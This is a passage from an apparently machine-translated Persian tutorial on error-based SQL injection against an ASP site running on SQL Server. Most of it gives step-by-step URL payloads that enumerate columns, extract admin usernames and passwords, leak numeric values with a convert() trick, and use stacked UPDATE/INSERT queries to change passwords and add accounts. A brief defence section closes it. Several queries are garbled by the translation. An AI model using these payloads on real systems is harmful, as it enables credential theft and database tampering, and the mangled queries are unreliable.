ساختار مربوطه "%25login%25" با %login% در سرور SQL جایگزین خواهد شد. در این صورت، نام جدولی را دریافت می کنیم که با معیار "admin_login" مطابقت دارد.

6.1 چگونه می توانم تمام نام ستون های یک جدول را پیدا کنم؟

می‌توانیم از جدول INFORMATION_SCHEMA.COLUMNS برای نمایش نام تمام ستون‌ها در جدول استفاده کنیم:

http://duck/index.asp?id=10 UNION 1 COLUMN_NAME برتر را از INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login"- انتخاب کنید

خطای Microsoft OLE DB Provider for ODBC Drivers "80040e07"
خطای نحوی در تبدیل مقدار nvarchar "login_id" to a column of data type int. !}
/index.asp، خط 5

اکنون که نام ستون اول را می دانیم، می توانیم از NOT IN() برای دریافت نام ستون بعدی استفاده کنیم:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login" WHERE COLUMN_NAME NOT IN ("login_id")-

خطای Microsoft OLE DB Provider for ODBC Drivers "80040e07"
خطای نحوی در تبدیل مقدار nvarchar "login_name" to a column of data type int. !}
/index.asp، خط 5

در ادامه ما بقیه نام ستون ها را دریافت خواهیم کرد. "رمز عبور"، "جزئیات" تا زمانی که خطای زیر را دریافت کنیم.

http://duck/index.asp?id=10 UNION 1 COLUMN_NAME برتر را از INFORMATION_SCHEMA انتخاب کنید.COLUMNS WHERE TABLE_NAME="admin_login" WHERE COLUMN_NAME NOT IN ("login_id","login_name", "password---details")

خطای Microsoft OLE DB Provider for ODBC Drivers "80040e14"
اگر عبارت حاوی عملگر UNION باشد، ORDER BY باید در لیست انتخاب ظاهر شود.
/index.asp، خط 5

6.2. چگونه داده های مورد نیاز خود را بدست آوریم؟

اکنون که چند جداول مهم را شناسایی کرده ایم، می توانیم از همین تکنیک برای بازیابی اطلاعات از پایگاه داده استفاده کنیم.

بیایید اولین login_name را از جدول "admin_login" دریافت کنیم:

http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--

خطای Microsoft OLE DB Provider for ODBC Drivers "80040e07"
خطای نحوی در تبدیل مقدار nvarchar "neo" to a column of data type int. !}
/index.asp، خط 5

اکنون می دانیم که یک کاربر مدیر با نام ورود به سیستم "neo" وجود دارد. در نهایت می توانیم رمز عبور "neo" را دریافت کنیم:

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name="neo"--

خطای Microsoft OLE DB Provider for ODBC Drivers "80040e07"
خطای نحوی در تبدیل مقدار nvarchar "m4trix" to a column of data type int. !}
/index.asp، خط 5

اکنون می توانیم به عنوان "neo" با رمز عبور "m4trix" وارد شوید.

6.3 چگونه مقدار عددی یک رشته را بدست آوریم؟

در روشی که در بالا توضیح داده شد محدودیت وجود دارد. اگر بخواهیم متنی را که از یک عدد تشکیل شده است (فقط کاراکترهای بین 0...9) تبدیل کنیم، نمی‌توانیم پیام خطا دریافت کنیم. اکنون دریافت رمز عبور "31173" از کاربر "Trinity" را شرح می دهیم:

http://duck/index.asp?id=10 UNION 1 کلمه عبور برتر را از admin_login که در آن login_name="trinity"--

احتمالاً با خطای «Page Not Found» مواجه خواهیم شد. دلیل آن این است که رمز عبور "31173" قبل از UNION با یک عدد صحیح (در مورد ما 10) به یک عدد تبدیل می شود. از آنجایی که عبارت UNION صحیح است، سرور SQL پیغام خطایی ایجاد نمی کند و بنابراین ما نمی توانیم یک رکورد عددی بدست آوریم.

برای حل این مشکل، می‌توانیم یک رشته اعداد در انتها با تعدادی حروف اضافه کنیم تا از انجام تبدیل جلوگیری کنیم. درخواست اصلاح شده:

http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b"%20morpheus") FROM admin_login where login_name="trinity"--

ما به سادگی از علامت مثبت (+) برای اضافه کردن رمز عبور با هر متنی استفاده می کنیم (رمزگذاری ASSCII برای "+" = 0x2b). سپس، "%20morpheus" را به انتهای رمز عبور واقعی اضافه می کنیم. بنابراین حتی اگر مقدار رمز عبور "31173" باشد، به "31173 morpheus" تبدیل می شود. با فراخوانی دستی تابع convert() که سعی در تبدیل "31173 morpheus" به یک عدد صحیح دارد، SQL Server یک پیغام خطای ODBC ارسال می کند:

خطای Microsoft OLE DB Provider for ODBC Drivers "80040e07"
خطای نحوی در تبدیل مقدار nvarchar "31173 morpheus" to a column of data type int. !}
/index.asp، خط 5

اکنون می توانیم با رمز عبور "31173" به عنوان "ترینیتی" وارد شویم.

7.0 چگونه داده ها را در پایگاه داده تغییر/درج کنیم؟

هنگامی که نام همه افراد را بر اساس ستون در جدول بدست آوریم، می توانیم به روز رسانی (UPDATE) یا حتی درج (INSERT) یک رکورد جدید در جدول. به عنوان مثال، ما می توانیم رمز عبور "neo" را تغییر دهیم:

http://duck/index.asp?id=10; به روز رسانی "admin_login" SET "password" = "newpas5" WHERE login_name="neo--

برای درج یک رکورد جدید در پایگاه داده:

http://duck/index.asp?id=10; INSERT INTO "admin_login" ("login_id"، "login_name"، "password"، "details") VALUES (666"neo2"،"newpas5"،"NA")--

اکنون ما قادر خواهیم بود به عنوان "neo" با رمز عبور "newpas5" وارد شوید.

8.0 چگونه از تزریق SQL اجتناب کنیم؟

فیلتر کاراکترهای خاص در تمام خطوط در:

هر گونه داده وارد شده توسط کاربر
- پارامترهای URL
- کوکی

برای مقادیر عددی، قبل از ارسال به پرس و جوی SQL، آنها را به عدد صحیح تبدیل کنید. یا از ISNUMERIC استفاده کنید تا مطمئن شوید که یک عدد صحیح است.

SQL Server را به عنوان یک کاربر غیرمجاز اجرا کنید.

رویه های ذخیره شده استفاده نشده را حذف کنید: master..Xp_cmdshell، xp_startmail، xp_sendmail، sp_makewebtask